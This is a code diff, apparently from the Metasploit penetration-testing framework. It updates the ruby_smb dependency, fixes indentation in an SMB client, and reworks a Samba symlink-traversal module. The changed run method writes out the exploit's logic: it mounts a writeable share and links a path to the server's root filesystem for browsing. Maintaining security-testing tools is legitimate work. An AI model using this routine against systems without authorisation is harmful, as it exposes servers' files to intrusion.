diff --git a/Gemfile.lock b/Gemfile.lock
index ff926fbbbb3d3..4e8111559b3d8 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -612,7 +612,7 @@ GEM
     ruby-progressbar (1.13.0)
     ruby-rc4 (0.1.5)
     ruby2_keywords (0.0.5)
-    ruby_smb (3.3.19)
+    ruby_smb (3.3.21)
       bindata (= 2.4.15)
       openssl-ccm
       openssl-cmac
diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb
index d79af366cd5a3..d4ac580abe2f8 100644
--- a/lib/rex/proto/smb/simple_client.rb
+++ b/lib/rex/proto/smb/simple_client.rb
@@ -279,7 +279,7 @@ def create_pipe(path, perm = 'o')
   def trans_pipe(fid, data, no_response = nil)
     session_lifetime do
       client.trans_named_pipe(fid, data, no_response)
-  end
+    end
   end
 
   def negotiated_smb_version
diff --git a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
index 0d23da474befd..f7dcf368e0a70 100644
--- a/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
+++ b/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
@@ -50,17 +50,19 @@ def initialize
 
   def run
     print_status('Connecting to the server...')
-    connect(versions: [1])
+    connect(versions: [1], backend: :ruby_smb)
     smb_login
 
     print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
     simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
 
     print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
-    simple.client.symlink(datastore['SMBTARGET'], '../' * 10)
+    simple.client.last_tree.set_unix_link(symlink: datastore['SMBTARGET'], target: '../' * 10)
 
     print_status('Now access the following share to browse the root filesystem:')
-    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
-    print_line('')
+    print_status("    \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
+  rescue RubySMB::Error::UnexpectedStatusCode => e
+    elog(e.message, error: e)
+    fail_with(Failure::UnexpectedReply, e.message)
   end
 end